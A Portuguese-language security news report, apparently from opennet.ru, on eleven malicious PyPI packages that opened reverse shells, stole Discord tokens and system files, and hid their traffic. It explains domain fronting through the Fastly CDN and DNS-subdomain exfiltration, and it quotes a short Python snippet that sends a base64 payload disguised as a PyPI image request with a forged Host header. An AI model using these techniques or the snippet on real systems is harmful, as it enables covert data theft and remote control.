O catálogo PyPI (Python Package Index) identificou 11 pacotes contendo código malicioso. Até a descoberta dos problemas, os pacotes foram baixados cerca de 38 mil vezes. Os pacotes maliciosos identificados são notáveis pelo uso de métodos sofisticados para ocultar os canais de comunicação com os servidores dos atacantes.
- importantpackage (6305 downloads), important-package (12897) — estabeleceram conexão com um servidor externo sob o pretexto de se conectarem a pypi.python.org para fornecer acesso shell ao sistema (reverse shell) e usaram o programa trevorc2 para ocultar o canal de comunicação.
- pptest (10001), ipboards (946) — usaram DNS como um canal de comunicação para enviar informações sobre o sistema (no primeiro pacote, o nome do host, diretório de trabalho, IP interno e externo; no segundo — o nome de usuário e do host).
- owlmoon (3285), DiscordSafety (557), yiffparty (1859) — identificaram o token do serviço Discord no sistema e o enviaram para um host externo.
- trrfab (287) — enviou para um host externo o identificador, o nome do host e o conteúdo de /etc/passwd, /etc/hosts, /home.
- 10Cent10 (490) — estabeleceu uma conexão shell reversa com um host externo.
- yandex-yt (4183) — exibiu uma mensagem de comprometimento do sistema e redirecionou para uma página com informações adicionais sobre as próximas ações, apresentadas através de nda.ya.ru (api.ya.cc).
Um método notável de comunicação com hosts externos usado pelos pacotes importantpackage e important-package era a utilização da rede de entrega de conteúdo Fastly, aplicada no catálogo PyPI. De fato, as solicitações eram enviadas ao servidor pypi.python.org (incluindo o nome python.org no SNI dentro da solicitação HTTPS), mas ao mesmo tempo, o cabeçalho HTTP 'Host' era definido com o nome do servidor controlado pelos atacantes (sec.forward.io.global.prod.fastly.net). A rede de entrega de conteúdo redirecionava essa solicitação para o servidor dos atacantes, utilizando os parâmetros da conexão TLS com pypi.python.org.
A infraestrutura do PyPI é suportada pela rede de entrega de conteúdo Fastly, que utiliza um proxy transparente Varnish para cache de solicitações típicas, além de processar certificados TLS no nível do CDN, em vez de servidores finais, para organizar o encaminhamento de solicitações HTTPS através do proxy. Independentemente do host de destino, as solicitações são direcionadas ao proxy, que determina o host correto pelo cabeçalho HTTP 'Host'. nomes de domínio hosts são vinculados a endereços IP típicos dos balanceadores de carga CDN da Fastly para todos os clientes.
O servidor dos atacantes também é registrado na CDN Fastly, que oferece planos gratuitos para todos os interessados e até permite registro anônimo. Notavelmente, para enviar solicitações à vítima ao criar um 'reverse shell', é utilizada uma abordagem similar, mas iniciada pelo lado do host dos criminosos. A interação com o servidor dos atacantes é vista como uma sessão legítima com o diretório PyPI, criptografada utilizando certificado TLS PyPI. Essa técnica, conhecida como 'domain fronting', foi amplamente utilizada para ocultar o nome do host ao contornar bloqueios, utilizando a possibilidade oferecida por algumas redes CDN de se conectar via HTTPS especificando um host fictício no SNI e transmitindo o nome do host solicitado no cabeçalho Host dentro da sessão TLS.

Para ocultar a atividade maliciosa, foi utilizado o pacote TrevorC2, que permite que a interação com o servidor se pareça com uma navegação web normal; por exemplo, as solicitações maliciosas eram enviadas disfarçadas como um download de imagem 'https://pypi.python.org/images/guid=' com a codificação das informações no parâmetro guid. url = 'https://pypi.python.org' + '/images' + '?' + 'guid=' + b64_payload r = request.Request(url, headers = {'Host': 'psec.forward.io.global.prod.fastly.net'})
Nos pacotes pptest e ipboards, foi utilizada uma abordagem diferente para ocultar a atividade da rede, baseada na codificação de informações úteis nas solicitações ao servidor DNS. O malware transmite informações realizando consultas DNS do tipo 'nu4timjagq4fimbuhe.example.com', nas quais os dados enviados ao servidor de controle estão codificados no nome do subdomínio usando o formato base64. O criminoso recebe os dados da mensagem, controlando um servidor DNS para o domínio example.com.
Fonte: opennet.ru
